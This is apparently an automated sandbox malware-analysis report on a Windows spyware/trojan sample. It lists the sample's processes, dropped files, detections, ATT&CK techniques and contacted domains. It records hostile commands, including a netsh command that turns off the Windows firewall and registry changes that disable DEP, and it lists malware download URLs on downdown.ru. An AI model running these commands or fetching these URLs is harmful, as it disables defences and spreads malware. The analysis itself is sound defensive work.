Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation

Source: C:\Intel\curl.exe

Code function: 37_2_00A7EDCF GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

37_2_00A7EDCF

Source: C:\Intel\curl.exe

Code function: 37_2_00A7C584 GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

37_2_00A7C584

Source: C:\Intel\curl.exe

Code function: 37_2_009DAC50 GetStdHandle,GetFileType,GetVersion,RegisterEventSourceA,ReportEventA,DeregisterEventSource,MessageBoxA,

37_2_009DAC50

Source: C:\Intel\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disables DEP (Data Execution Prevention) for certain images

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers DisableNXShowUI			Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers DisableNXShowUI			Jump to behavior

Modifies Group Policy settings

Source: C:\Intel\dc.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Modifies power options to not sleep / hibernate

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -hibernate-timeout-ac 0

Modifies the windows firewall

Source: C:\Users\user\Desktop\eqRHH2whJu.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd netsh advfirewall set allprofiles state off

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall set allprofiles state off

Source: svchost.exe, 0000002F.00000002.3691160629.000000000157A000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: release/win_8.0.14
Source: svchost.exe, 0000002D.00000000.3646802058.000000000165A000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: .itext.text.custom3b1bfbef334434f66640155f39e4c33brelease/win_8.0.1413967ce7c71d8c19a49dd697dbd0dec1c8d166bf
Source: svchost.exe, 0000002F.00000002.3687366006.000000000019B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: P%dbd0dec1c8d166bfrelease/win_8.0.143b1bfbef334434f66640155f39e4c33b
Source: svchost.exe, 0000002F.00000002.3691160629.000000000157A000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: 13967ce7c71d8c19a49dd697dbd0dec1c8d166bfrelease/win_8.0.143b1bfbef334434f66640155f39e4c33b
Source: svchost.exe, 0000002D.00000002.3718528101.000000000019B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: @<dbd0dec1c8d166bfrelease/win_8.0.143b1bfbef334434f66640155f39e4c33b

Source: C:\Intel\curl.exe	Code function: 37_2_009A80B0 bind,WSAGetLastError,	37_2_009A80B0
Source: C:\Intel\curl.exe	Code function: 37_2_009AC810 getsockname,WSAGetLastError,WSAGetLastError,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,closesocket,getsockname,WSAGetLastError,listen,WSAGetLastError,htons,htons,	37_2_009AC810
Source: C:\Intel\curl.exe	Code function: 37_2_0098D110 htons,htons,htons,bind,htons,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,	37_2_0098D110

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Spearphishing Link	421 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	51 Disable or Modify Tools	1 Credential API Hooking	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	11 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	41 Input Capture	1 Network Service Discovery	Remote Desktop Protocol	1 Credential API Hooking	14 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Windows Service	11 Windows Service	3 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	41 Input Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	212 Process Injection	1 Software Packing	NTDS	147 System Information Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	541 Security Software Discovery	SSH	Keylogging	4 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	1 File Deletion	Cached Domain Credentials	331 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	26 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Masquerading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	331 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Files and Directories	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
eqRHH2whJu.exe	55%	ReversingLabs	Win32.Spyware.Generic
eqRHH2whJu.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Intel\AnyDesk\AnyDesk.exe	100%	Avira	TR/Agent.nyvag
C:\Intel\svchost.exe	100%	Avira	TR/Agent.nyvag
C:\Intel\AnyDesk\AnyDesk.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Intel\Trays\4t-min64.exe	0%	ReversingLabs
C:\Intel\Trays\7z.dll	0%	ReversingLabs
C:\Intel\Trays\ShellEh6055.dll	2%	ReversingLabs
C:\Intel\Trays\ShellEh6055x64.dll	3%	ReversingLabs
C:\Intel\Trays\Tray.dll	0%	ReversingLabs
C:\Intel\Trays\Trays.exe	4%	ReversingLabs
C:\Intel\Trays\delReg.exe	2%	ReversingLabs
C:\Intel\Trays\unins000.exe	4%	ReversingLabs
C:\Intel\blat.exe	0%	ReversingLabs
C:\Intel\curl.exe	3%	ReversingLabs
C:\Intel\dc.exe	50%	ReversingLabs	Win32.Hacktool.DisableDefender
C:\Intel\driver.exe	3%	ReversingLabs
C:\Intel\svchost.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\cache	0%	ReversingLabs
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\download_cache	0%	ReversingLabs

Source	Detection	Scanner	Label
http://www.4t-niagara.com/checkupdate.phppplications.Modifiers	0%	Avira URL Cloud	safe
http://downdown.ru/driver.jpg	100%	Avira URL Cloud	malware
http://www.pdf-tools.com	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phpk-minuser-l1-1-0I6	0%	Avira URL Cloud	safe
https://help.anydesk.com	0%	Avira URL Cloud	safe
http://downdown.ru/dc.jpg;8	0%	Avira URL Cloud	safe
http://downdown.ru/svchost.jpgC:	0%	Avira URL Cloud	safe
http://downdown.ru/driver.jpgU)	0%	Avira URL Cloud	safe
http://downdown.ru/wol.jpg_V8F	0%	Avira URL Cloud	safe
http://downdown.ru/wol.jpgs	0%	Avira URL Cloud	safe
http://www.innosetup.com/	0%	Avira URL Cloud	safe
https://help.anydesk.com/	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/files/4t-min.exe	0%	Avira URL Cloud	safe
http://downdown.ru/wol.jpgWinsta0	0%	Avira URL Cloud	safe
http://downdown.ru/wol.j	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.html	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_next.html03R	0%	Avira URL Cloud	safe
http://downdown.ru/Trays.jpgC:	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_next.html???????...	0%	Avira URL Cloud	safe
http://downdown.ru/blat.jpg	100%	Avira URL Cloud	malware
http://www.4t-niagara.com/checkupdate.phpo	0%	Avira URL Cloud	safe
http://www.4t-niagara.com	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phpy	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/ive	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phpr	0%	Avira URL Cloud	safe
http://downdown.ru/blat.jpgs	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_order.html03R	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phpsu	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.html5	0%	Avira URL Cloud	safe
http://downdown.ru/svchost.	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_faq.htmlli	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_order.htmlU	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/newsletter.html??????...#	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_faq.html	0%	Avira URL Cloud	safe
http://www.blat.net/h	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_next.html.mo	0%	Avira URL Cloud	safe
http://4t-niagara.com/webimage.html	0%	Avira URL Cloud	safe
http://downdown.ru/Trays.jpgWinsta0	0%	Avira URL Cloud	safe
http://downdown.ru/driver.jpgC:	0%	Avira URL Cloud	safe
http://downdown.ru/blat.jpgWinsta0	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.htmltmll.moh	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phpk-minuser-l1-1-0	0%	Avira URL Cloud	safe
http://www.dk-soft.org/	0%	Avira URL Cloud	safe
http://downdown.ru/dc.jp	0%	Avira URL Cloud	safe
http://downdown.ru/blat.jpg:%	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.htmltmll=	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.php03R	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
boot.net.anydesk.com	57.129.37.28	true	false	high
www.4t-niagara.com	94.23.158.211	true	false	unknown
downdown.ru	185.125.51.5	true	true	unknown
relay-31ee9317.net.anydesk.com	186.233.187.24	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://downdown.ru/driver.jpg	true	Avira URL Cloud: malware	unknown
https://c.msn.com/c.gif?rnd=1736349529173&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=b25d3f03ced44bf6925dc8ded78e8089&activityId=b25d3f03ced44bf6925dc8ded78e8089&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=99DEB9607E1443D08D3647A5D960D828&MUID=37FD034F4FC568D43F2E16214E436968	false		high
https://trace.mediago.io/cs/msn?id=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent=	false		high
https://srtb.msn.com/notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=2283769c-61e3-48bd-8dc8-e87035a8fc80&ii=1&c=6778524747806682709&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1	false		high
https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1	false		high
https://pr-bh.ybp.yahoo.com/sync/msn?gdpr=0&gdpr_consent=	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349564467&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://ntp.msn.com/edge/ntp?locale=en-US&title=New+tab&OCID=MNHP_U531&enableForceCache=true	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349557954&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349531619&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://m.adnxs.com/bounce?%2Fmapuid%3Fmember%3D280%26user%3D37FD034F4FC568D43F2E16214E436968%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D37FD034F4FC568D43F2E16214E436968%252526gdpr%25253D0%252526gdpr_consent%25253D	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349554950&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://srtb.msn.com/notify/viewed?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=4cf78bc2-d1f6-4e8a-8c92-096659eac4cb&ii=1&c=14308996391598105688&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2&t=type.msft-content-card&dec=1_6_7-1_6_7	false		high
https://visitor.omnitagjs.com/visitor/sync?uid=9871605be8d4b2a982914bf5c9348e7b&name=MSN&visitor=37FD034F4FC568D43F2E16214E436968&external=true&gdpr=0&gdpr_consent=	false		high
https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true	false		high
http://downdown.ru/blat.jpg	true	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349540220&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://srtb.msn.com/notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=resriver&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=23f806c7-5292-45ef-a106-5a0e13b755fc&ii=1&c=6778524747806682709&bid=c3efd042-9c07-4a40-a0f5-5b1fbaf8a049&tid=edgechrntp-resriver-1&ptid=edgechrntp-resriver-1	false		high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false		high
https://sb.scorecardresearch.com/b?rn=1736349529174&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=37FD034F4FC568D43F2E16214E436968&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
https://c.msn.com/c.gif?rnd=1736349529173&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=b25d3f03ced44bf6925dc8ded78e8089&activityId=b25d3f03ced44bf6925dc8ded78e8089&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0	false		high
https://m.adnxs.com/mapuid?member=280&user=37FD034F4FC568D43F2E16214E436968;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D	false		high
https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&fre=1&dsp=1&sp=Bing&prerender=1&firstlaunch=1	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/vendors.80e71276f1bec5cb9e6b.js	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349549473&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
